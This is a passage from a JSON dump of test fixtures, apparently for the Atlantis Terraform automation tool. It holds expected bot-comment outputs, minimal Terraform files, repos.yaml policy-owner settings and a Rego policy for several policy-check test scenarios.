    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/policies/policy.rego",
    "content": "package main\n\nimport input as tfplan\n\ndeny contains reason if {\n\tnum_deletes.null_resource > 0\n\treason := \"WARNING: Null Resource creation is prohibited.\"\n}\n\nresource_types = {\"null_resource\"}\n\nresources[resource_type] = all if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := [name |\n\t\tname := tfplan.resource_changes[_]\n\t\tname.type == resource_type\n\t]\n}\n\n# number of deletions of resources of a given type\nnum_deletes[resource_type] = num if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := resources[resource_type]\n\tdeletions := [res | res := all[_]; res.change.actions[_] == \"create\"]\n\tnum := count(deletions)\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/repos.yaml",
    "content": "repos:\n- id: /.*/\n  apply_requirements: [approved]\npolicies:\n  owners:\n    users:\n      - runatlantis\n  policy_sets:\n    - name: test_policy\n      path: policies/policy.rego\n      source: local\n        \n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-clear-approval/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  workspace: default\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-apply-failed.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n**Apply Failed**: All policies must pass for project before running apply."
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-apply.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"default\"\n\n```\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-approve-policies-clear.txt",
    "content": "Ran Approve Policies for 1 projects:\n\n1. dir: `.` workspace: `default`\n---\n\n### 1. dir: `.` workspace: `default`\n**Approve Policies Failed**: One or more policy sets require additional approval.\n#### Policy Approval Status:\n```\npolicy set: test_policy: requires: 1 approval(s), have: 0.\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  atlantis approve_policies -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d .\n  ```\n\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-approve-policies-success.txt",
    "content": "Approved Policies for 1 projects:\n\n1. dir: `.` workspace: `default`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-approve-policies.txt",
    "content": "Approved Policies for 1 projects:\n\n1. dir: `.` workspace: `default`\n\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-auto-policy-check.txt",
    "content": "Ran Policy Check for dir: `.` workspace: `default`\n\n**Policy Check Failed**: Some policy sets did not pass.\n#### Policy Set: `test_policy`\n```diff\nFAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n\n```\n\n\n#### Policy Approval Status:\n```\npolicy set: test_policy: requires: 1 approval(s), have: 0.\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  atlantis approve_policies -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d .\n  ```\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-clear-approval/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-clear-approval/policies/policy.rego",
    "content": "package main\n\nimport input as tfplan\n\ndeny contains reason if {\n\tnum_deletes.null_resource > 0\n\treason := \"WARNING: Null Resource creation is prohibited.\"\n}\n\nresource_types = {\"null_resource\"}\n\nresources[resource_type] = all if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := [name |\n\t\tname := tfplan.resource_changes[_]\n\t\tname.type == resource_type\n\t]\n}\n\n# number of deletions of resources of a given type\nnum_deletes[resource_type] = num if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := resources[resource_type]\n\tdeletions := [res | res := all[_]; res.change.actions[_] == \"create\"]\n\tnum := count(deletions)\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-clear-approval/repos.yaml",
    "content": "policies:\n  owners:\n    users:\n      - runatlantis\n  policy_sets:\n    - name: test_policy\n      path: policies/policy.rego\n      source: local\n        \n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-clear-approval/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  workspace: default\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-apply-failed.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n**Apply Failed**: All policies must pass for project before running apply."
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-apply.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"default\"\n\n```\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-approve-policies.txt",
    "content": "Approved Policies for 1 projects:\n\n1. dir: `.` workspace: `default`\n\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-auto-policy-check.txt",
    "content": "Ran Policy Check for dir: `.` workspace: `default`\n\n**Policy Check Failed**: Some policy sets did not pass.\n```diff\npre-conftest output\n\n```\n\n#### Policy Set: `test_policy`\n```diff\nFAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n\n```\n\n\n```diff\n[{\"PolicySetName\":\"test_policy\",\"PolicyOutput\":\"FAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\\n\\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\\n\",\"Passed\":false,\"ReqApprovals\":1,\"CurApprovals\":0}]\npost-conftest output\n\n```\n\n#### Policy Approval Status:\n```\npolicy set: test_policy: requires: 1 approval(s), have: 0.\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  atlantis approve_policies -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d .\n  ```\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/policies/policy.rego",
    "content": "package main\n\nimport input as tfplan\n\ndeny contains reason if {\n\tnum_deletes.null_resource > 0\n\treason := \"WARNING: Null Resource creation is prohibited.\"\n}\n\nresource_types = {\"null_resource\"}\n\nresources[resource_type] = all if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := [name |\n\t\tname := tfplan.resource_changes[_]\n\t\tname.type == resource_type\n\t]\n}\n\n# number of deletions of resources of a given type\nnum_deletes[resource_type] = num if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := resources[resource_type]\n\tdeletions := [res | res := all[_]; res.change.actions[_] == \"create\"]\n\tnum := count(deletions)\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/repos.yaml",
    "content": "policies:\n  owners:\n    users:\n      - runatlantis\n  policy_sets:\n    - name: test_policy\n      path: policies/policy.rego\n      source: local\n\nworkflows:\n  default:\n    policy_check:\n      steps:\n        - show\n        - run: \"echo 'pre-conftest output'\"\n        - policy_check:\n            extra_args:\n              - --no-fail\n        - run: \"echo 'post-conftest output'\""
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-diff-owner/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  workspace: default\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-apply-failed.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n**Apply Failed**: All policies must pass for project before running apply."
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-approve-policies.txt",
    "content": "Ran Approve Policies for 1 projects:\n\n1. dir: `.` workspace: `default`\n---\n\n### 1. dir: `.` workspace: `default`\n**Approve Policies Error**\n```\npolicy set: test_policy user runatlantis is not a policy owner - please contact policy owners to approve failing policies\n```\n#### Policy Approval Status:\n```\npolicy set: test_policy: requires: 1 approval(s), have: 0.\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  atlantis approve_policies -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d .\n  ```\n\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-auto-policy-check.txt",
    "content": "Ran Policy Check for dir: `.` workspace: `default`\n\n**Policy Check Failed**: Some policy sets did not pass.\n#### Policy Set: `test_policy`\n```diff\nFAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n\n```\n\n\n#### Policy Approval Status:\n```\npolicy set: test_policy: requires: 1 approval(s), have: 0.\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  atlantis approve_policies -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d .\n  ```\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-diff-owner/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-diff-owner/policies/policy.rego",
    "content": "package main\n\nimport input as tfplan\n\ndeny contains reason if {\n\tnum_deletes.null_resource > 0\n\treason := \"WARNING: Null Resource creation is prohibited.\"\n}\n\nresource_types = {\"null_resource\"}\n\nresources[resource_type] = all if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := [name |\n\t\tname := tfplan.resource_changes[_]\n\t\tname.type == resource_type\n\t]\n}\n\n# number of deletions of resources of a given type\nnum_deletes[resource_type] = num if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := resources[resource_type]\n\tdeletions := [res | res := all[_]; res.change.actions[_] == \"create\"]\n\tnum := count(deletions)\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-diff-owner/repos.yaml",
    "content": "policies:\n  owners:\n    users:\n      - someoneelse\n  policy_sets:\n    - name: test_policy\n      path: policies/policy.rego\n      source: local\n        \n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-diff-owner/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  workspace: default\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-apply-failed.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n**Apply Failed**: All policies must pass for project before running apply."
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-apply.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"default\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-approve-policies.txt",
    "content": "Approved Policies for 1 projects:\n\n1. dir: `.` workspace: `default`\n\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-auto-policy-check.txt",
    "content": "Ran Policy Check for dir: `.` workspace: `default`\n\n**Policy Check Failed**: Some policy sets did not pass.\n#### Policy Set: `test_policy`\n```diff\nFAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n\n```\n\n\n#### Policy Approval Status:\n```\npolicy set: test_policy: requires: 1 approval(s), have: 0.\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  atlantis approve_policies -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d .\n  ```\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/policies/policy.rego",
    "content": "package main\n\nimport input as tfplan\n\ndeny contains reason if {\n\tnum_deletes.null_resource > 0\n\treason := \"WARNING: Null Resource creation is prohibited.\"\n}\n\nresource_types = {\"null_resource\"}\n\nresources[resource_type] = all if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := [name |\n\t\tname := tfplan.resource_changes[_]\n\t\tname.type == resource_type\n\t]\n}\n\n# number of deletions of resources of a given type\nnum_deletes[resource_type] = num if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := resources[resource_type]\n\tdeletions := [res | res := all[_]; res.change.actions[_] == \"create\"]\n\tnum := count(deletions)\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/repos.yaml",
    "content": "repos:\n  - id: \"/.*/\"\n    policy_check: false\n  - id: github.com/runatlantis/atlantis-tests\npolicies:\n  owners:\n    users:\n      - runatlantis\n  policy_sets:\n    - name: test_policy\n      path: policies/policy.rego\n      source: local\n        \n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  workspace: default\n  policy_check: false\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-apply-failed.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n**Apply Failed**: All policies must pass for project before running apply."
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-apply.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"default\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-approve-policies.txt",
    "content": "Approved Policies for 1 projects:\n\n1. dir: `.` workspace: `default`\n\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-auto-policy-check.txt",
    "content": "Ran Policy Check for dir: `.` workspace: `default`\n\n**Policy Check Failed**: Some policy sets did not pass.\n#### Policy Set: `test_policy`\n```diff\nFAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n\n```\n\n\n#### Policy Approval Status:\n```\npolicy set: test_policy: requires: 1 approval(s), have: 0.\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  atlantis approve_policies -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d .\n  ```\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/policies/policy.rego",
    "content": "package main\n\nimport input as tfplan\n\ndeny contains reason if {\n\tnum_deletes.null_resource > 0\n\treason := \"WARNING: Null Resource creation is prohibited.\"\n}\n\nresource_types = {\"null_resource\"}\n\nresources[resource_type] = all if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := [name |\n\t\tname := tfplan.resource_changes[_]\n\t\tname.type == resource_type\n\t]\n}\n\n# number of deletions of resources of a given type\nnum_deletes[resource_type] = num if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := resources[resource_type]\n\tdeletions := [res | res := all[_]; res.change.actions[_] == \"create\"]\n\tnum := count(deletions)\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/repos.yaml",
    "content": "policies:\n  owners:\n    users:\n      - runatlantis\n  policy_sets:\n    - name: test_policy\n      path: policies/policy.rego\n      source: local\n        \n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  workspace: default\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-apply-failed.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n**Apply Failed**: All policies must pass for project before running apply."
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-apply.txt",
